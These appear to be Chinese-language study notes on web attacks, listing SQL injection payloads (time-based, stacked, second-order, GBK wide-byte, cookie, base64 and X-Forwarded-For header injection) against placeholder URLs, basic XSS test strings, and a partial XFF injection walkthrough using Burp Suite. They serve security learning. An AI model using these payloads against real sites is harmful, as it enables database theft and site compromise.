第四章 SQL注入
4.2 sql注入进阶
时间注入
判断数据库长度:http://xxx.xxx.xxx/xx.php?id=1' and if(length(database())>1,sleep(5),1)--+
使用burp配合语句爆出库名、表名、列名:http://xxx.xxx.xxx/xx.php?id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+
堆叠注入
http://xxx.xxx.xxx/xx.php?id=1';select if(substr(database(),1,1)='s',sleep(5),1)%23
http://xxx.xxx.xxx/xx.php?id=1';select if(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1)='e',1,1)%23
二次注入
1.php?username=test' order by 3%23
2.php?username=test' union select 1,2,3%23
php?username=test' union select 1,database(),3%23
user()
其他查询语句
宽字节注入
?id=1' 时,单引号会被转义,出现‘1\'’
当数据库的编码为GBK时,可在地址后加%df逃逸
?id=1%df'%23
?id=1%df' and 1=1%23
?id=1%df' and 1=2%23
?id=1%df' order by x%23
?id=-1%df' union select 1,2,3,..%23
?id=-1%df' union select 1,插入查询语句,3,..%23
查询语句可以是select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
select column_name from information_schema.tables where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1
cookie注入
利用burpsuite 修改cookie参数
id=1 order by x
之后利用union 注入获取数据
base64位注入
步骤同union注入,但是要将注入语句经过base64编码
xff注入
xff:127.0.0.1
注入:127.0.0.1' and 1=1#
127.0.0.1' and 1=2#
127.0.0.1' order by x#
之后是union注入的步骤
4.4XSS基础
当xss_input_value=''><img src=x οnerrοr=alert(/xss/) />
html代码会闭合:<input type=''text'' value='' ><img src=x οnerrοr=alert(/xss/) />
xss常用的测试·语句·:<script>alert(1)</scirpt>
<img src=1 οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a href=javascript:alert(1)>
01常见HTTP头注入参数
在介绍XFF注入之前,我们先来了解下常见的存在HTTP头注入的参数,如下图:
User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:网站为了辨别用户身份进行session跟踪,并储存在用户本地终端上的数据(通常经过加密)
X-Forwarded-For:简称XFF头,代表了HTTP的请求端真实的IP。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件[通过修改XXF头可以实现伪造IP])。
Rerferer:浏览器向 WEB 服务器表明自己的页面来源。
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号。
02XFF注入的概念
XFF,是X-Forwarded-for的缩写,属于SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,达到欺骗服务器执行恶意的SQL命令的效果,从而可以得到网站的数据库内容。
03XFF的危害
①数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
②网页篡改:通过操作数据库对特定网页进行篡改。
③网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
④数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
⑤服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
04XFF漏洞复现
1. 确定漏洞的存在
使用burpsuite工具进行抓包,并用Repeater模块对请求进行修改,分别修改X-Forwarded-For的值如下所示:
X-Forwarded-for: 127.0.0.1
X-Forwarded-for: 127.0.0.1’’
X-Forwarded-for: 127.0.0.1' and 1=1#
X-Forwarded-for: 127.0.0.1' and 1=2#
若访问的结果如上图所示,则说明存在SQL注入漏洞。
2. 判断查询字段数量
判断出字段数量是4。
3. 查询SQL语句插入位置
4. 查询当前数据库库名
查询出的当前数据库库名为aaa。